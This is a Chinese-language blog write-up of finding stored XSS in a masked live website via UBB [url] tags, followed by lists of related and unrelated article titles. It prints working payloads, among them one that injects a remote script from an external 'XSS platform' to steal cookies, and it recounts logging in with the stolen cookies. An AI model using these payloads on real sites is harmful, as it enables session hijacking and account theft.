挖掘过程一:

自从上一次投稿,已经好久好久没写文章了。今天就着吃饭的时间,写篇文章,记录下自己学习xss这么久的心得。在我看来。Xss就是javascript注入,你可以在js语法规定的范畴内做任何事情,js可谓强大,本次结合一次挖掘xss的过程和xss的综合利用来探讨,小菜一枚,希望大牛不吝赐教。文章里的网站打码,大家见谅

我们先看看网站

测试储存型xss的话,黑盒测试效果还可以。我们这里不讨论反射型的,反射型的,基本一些扫描工具就可以秒了。当然我们要在我们能看见的任何地方开始狂插,<script>alert(1)</script>.

我们先看看个人资料,

看见这么多地方,我就乐了,心想应该会有戏吧。我们先测试<>这两个符号被过滤没有,全都插上<>试试,看看他服务器怎么处理的

提交后的效果

好像过滤,我们利用生茶元素看看,他变成了什么

呵呵呵,出师不利啊。直接被xxoo了。这里的话<>被过滤了,我们发现代码是<input type="text" maxlength="50" value="<>" name="shenggao">

也就是说,我们提交的内容在value里面,没错,我们可以想着利用"来封闭前后,再里面利用 onclick来执行xss,什么意思呢?就是我们理想情况下构造出

那么我们只要插入" onclick="javascript:alert(1)测试即可。我们接着俩测试一番,可是

死了,全都成中文的了。我们要突破?这时候,我突然想起一件事情来,与其变着法想着怎么突破xss还不如去找管理员疏忽的地方。这个暂且放这里,我暂时试了很多次都突破不了。我们去找找别的地方,看看有没有xss.

很快,我来到了留言的部分,我发现可以写ubb语法,哈哈,什么是ubb语法、大家可以自己扩展,原来程序员开发这个cms的时候为了站长美化版面的自由性。可以让站长自定义一些小小的功能,也就是可以自己编写简单的html代码。

这里举个例子来说吧,ubb和html的区别和转换

ubb版:百度

html版:<a href="http://baidu.com">百度</a>

测试了下果然可以,这下我乐了

我们知道<a href="javascript:alert(1)">百度</a>这样可以弹窗的,于是我们在ubb中该怎么写呢?我们这里组合百度

我们试一试

哈哈,果然如此,我们看看源代码,看看他变成了什么。果然不出所料,变成了

<a href="javascript:alert(1)">百度</a>,一次简单挖掘的过程就到此结束了。我们稍微来总结下,就是buu语法的利用,利用buu和html之间的转换,在文中是,百度,之后变成了<a href="javascript:aler(1)">百度</a>

 
 

 
 

编码绕过二

竟然有了xss,那么我们第一时间就是打cookie了,当然后面还有个csrf的挂黑页,我打算以后讲,(ps:时间比较少,求管理给个邀请码)。

于是我屁颠屁颠的拿了个xss平台来测试,傻乎乎的填上了代码

但是肯定没卵用,我们可以测试下(大家不要进了误区)

 
 

这个肯定不行,为什么呢?我们可以想,如果被解析成html后,那么就成了

<a href="javascript:scr=http://t.cn/RLf6PED">百度</a>,但是我们知道如果他要执行,那么必须是作为js的src的属性值的,也就是必须是这样

<js src=http://t.cn/RLf6PED></js>,那么问题来了,我们怎么构建呢?还好,这时候,xss平台给我一个提示

 
 

没错,在你认为可以执行的地方,利用createElemt创建一个便签,就是js,然后再js的标签再给他赋值。跟着这个思路,我们来改写下ubb代码。

[url=javascript:s=createElement('script');body.appendChild(s);s.src=http://t.cn/RLf6PED]百度[/url]。我先自己在ie6的内核下测试了一下

我暂时没想出来,哪里少了个分号。先不管,坛李如果有知道的同学,望告诉我哦。竟然这样,其实还有个问题就是我提交的单引号'也会被过滤。那么,竟然这样的话我,我们可以控制javascript:xxxxxx;那么它里面的字符应该是可以js加密的吧。我跟这这个思路就继续延伸下去。当然我先在本机测试一下,看看行不行,我们先把alert(1)转下码

然后再来试试哈

没有弹窗,这是为什么呢?我的想法是他把它当字符串了,也就是实际成了

<a href="javascript:"alert(1)"">百度</a>。我们直接单刀插入<script>alert(1)</script>,先转下码

再来测试下

离目标近了很多,直接复制代码

所以肯定是拿到cookies了

我们最后构建的payload

百度

其实还可以用<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> base64位(不知道名字记错没),但是打不到cookie,估计是同源什么之类的吧

最后就是登陆咯。

 
 

========================================

一个U盘黑掉你:TEENSY实战(test)的更多相关文章

  1. 一个U盘黑掉你:TEENSY实战

    从传统意义讲,当你在电脑中插入一张CD/DVD光盘,或者插入一个USB设备时,可以通过自动播放来运行一个包含恶意的文件,不过自动播放功能被关闭时,autorun.inf文件就无法自动执行你的文件了.然 ...

  2. 一个比较全面 的web项目实战学习

    一个比较全面 的web项目实战学习:http://www.cnblogs.com/jikey/p/3613082.html

  3. QQ空间掉帧率优化实战

    商业转载请联系腾讯WeTest获得授权,非商业转载请注明出处. WeTest 导读 空间新业务需求日益增多,在业务开发阶段的疏忽,或者是受到其他业务的影响(比如一些非空间的业务网络回包或者逻辑在主线程 ...

  4. iOS开发——常见错误——使用MJRefresh返回上一个界面蹦掉的情况

    最近在使用MJRefresh框架时发现了一个bug 下面是我的源代码 前一个界面 -(void)tableView:(UITableView *)tableView didSelectRowAtInd ...

  5. 【shell脚本实例】一个恶作剧—— kill掉占用CPU较高的matlab进程

    我们实验室有台服务器,博士们在服务器上跑MATLAB,基本都是4核都是超过95%的CPU占用,想了个恶作剧的shell 定时kill掉MATLAB程序,是不是很邪恶啊,哈哈~~~  不过我只是干过一次 ...

  6. IDEA2017.3.3创建第一个javaweb项目及tomcat部署实战

    一.创建简单web项目 1. 选择jdk(这里有点小问题不是很理解,通过java -verbose查找出来的jdk路径在C盘,这里并不能识别,而我jdk安装的时候有自己的路径在D盘,导入后就是图中的j ...

  7. 有一个数组a[N]顺序存放0~N-1,要求每隔两个数删掉一个数,到末尾时循环至开头继续进行,求最后一个被删掉的数的原始下标位置。以8个数(N=7)为例:{0,1,2,3,4,5,6,7},0->1->2(删除)->3->4->5(删除)->6->7->0(删除),如此循环直到最后一个数被删除。

    // ConsoleApplication12.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" // ConsoleApplication1 ...

  8. 一个CMS案例实战讲解PHP代码审计入门

    前言 php代码审计介绍:顾名思义就是检查php源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞. 1.环境搭建: 工欲善其事必先利其器,先介绍代码审计必要的环境搭建 审计环境 window ...

  9. 利用Arduino快速制作Teensy BadUSB

    0×00 介绍 本文想以较简单的方式,叙述Arduino版BadUSB的制作过程.我知道在这之前已经有很多前辈都写过相关的文章,但小白可能还有点迷糊,所以这篇文章是快速带大家入门了解,我也是菜B大神不 ...

随机推荐

  1. java权限控制以及变量的初始化

    知识是靠积累的,不断的温习会帮你让你遇到许多问题,解决完这些问题之后,会收获许多,233333333333333. 1.java访问控制符 2.java变量初始化问题 默认构造方法的名字与类名相同,它 ...

  2. Netty 内存回收之 noCleaner 策略

    前言 对于堆外内存,使用 System.gc() 是不靠谱的,依赖老年代 FGC 也是不靠谱的,而且大部分调优指南都设置了 -DisableExplicitGC 禁用 System.gc().所以主动 ...

  3. 并发编程——ConcurrentHashMap#transfer() 扩容逐行分析

    前言 ConcurrentHashMap 是并发中的重中之重,也是最常用的数据结果,之前的文章中,我们介绍了 putVal 方法.并发编程之 ConcurrentHashMap(JDK 1.8) pu ...

  4. ifream框架角色切换

    js受制于单个页面,用ifream框架做web系统,会遇到角色切换菜单刷新的问题,我就来讲一下我的思路: 用户登录时将用户角色放入session中,以角色id为key,权限为值,角色切换时将相应角色i ...

  5. 脚本执行错误---/bin/sh^M:损坏的解释器 没有那个文件或目录

    在执行脚本时,弹出错误提示: 这是由于脚本文件在保存时使用了DOS文件格式造成的,可以用vim打开文件,然后执行下列操作:

  6. django-强大的ORM

    一.ORM简介 (对象关系映射:object relationship mapping) MVC框架中包括一个重要的部分,就是ORM,它实现了数据模型与数据库的解耦,即数据模型的设计不需要依赖于特定的 ...

  7. Python并发编程(守护进程,进程锁,进程队列)

    进程的其他方法 P = Process(target=f,) P.Pid 查看进程号  查看进程的名字p.name P.is_alive()  返回一个true或者False P.terminate( ...

  8. JQuery 节点监听

    DOMSubtreeModified: 在DOM结构发生任何变化的时候.这个事件在其他事件触发后都会触发: $(".attr_box").bind("DOMSubtree ...

  9. 如何删除PeopleSoft Process Definition

    PeopleSoft没有在页面提供删除Process Definition的快捷方式. 可以通过AD创建一个新的project加入这个process definition,在upgrade tab选择 ...

  10. SD从零开始45-46

    [原创] SD从零开始45 运输流程的控制 运输业务场景的例子Examples 一个公司可使用不同的运输业务场景,通过不同的处理类型或者运输方式来刻画: 要模型化这些不同的装运,你可以在配置中定义装运 ...